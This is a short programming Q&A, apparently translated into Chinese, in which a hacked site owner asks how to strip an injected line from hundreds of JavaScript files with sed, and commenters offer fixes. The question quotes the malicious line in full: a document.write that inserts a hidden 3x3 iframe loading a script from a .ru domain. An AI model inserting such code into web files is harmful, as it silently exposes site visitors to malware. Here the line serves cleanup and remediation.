1
我被黑客攻擊,並有數以百計的.js文件與這行代碼,我試圖擺脫:使用SED刪除字符串
;document.write('<iframe src="http://sitecorporatemanagement.ru/pretzellogmeins.cgi?8" scrolling="auto" frameborder="no" align="center" height="3" width="3"></iframe>');
這是文件的最後一行,但我認爲,該文件包含Windows行的結局,因爲當過我這樣做:
sed -i '/sitecorporatemanagement.ru/d' *
它刪除文件的全部內容。你能幫我解決這個問題嗎?我只需要將完整的字符串刪除。
謝謝你給予的所有幫助。
你可以經常用'dos2unix'命令切換換行符。 – jahroy
難道你不能從源代碼控制回到你的網站,並從原始代碼重建它? –
您可以用'sed -i'$ d'$ file'刪除文件的最後一行。 Windows風格的換行符不應該導致問題;線路末端有一個LF。 –